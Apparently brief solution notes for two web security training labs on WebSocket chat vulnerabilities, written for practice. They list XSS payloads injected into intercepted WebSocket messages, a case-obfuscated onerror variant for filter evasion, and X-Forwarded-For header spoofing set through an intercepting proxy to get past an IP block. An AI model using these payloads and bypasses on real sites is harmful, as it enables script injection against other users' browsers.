WebSockets

Apprentice lab:
Manipulating WebSocket messages to exploit vulnerabilities

This online shop has a live chat feature implemented using WebSockets.
Chat messages that you submit are viewed by a support agent in real time.
To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent's browser.

• Solution

  1. Go to Live chat and type a message. Before sending intercept the request.
  2. Edit websocket-message (ef), adding an onerror XSS

     {"message":"<img src=x onerror=alert(1)>"}
     

  3. Forward all requests (A).

Practitioner lab:
Manipulating the WebSocket handshake to exploit vulnerabilities

• Solution

  1. Go to live chat and try an XSS payload:

     <img src=1 onerror='alert(1);'>
     

  2. System will detect attack. Trying X-Forwarded-For: 234 works.
  3. Set X-Forwarded-For header for everything request.

     : set modify_headers /X-Forwarded-For/1234
     

  4. Trying out obfuscated XSS:

     <img src=1 oNeRrOr=alert`1`;>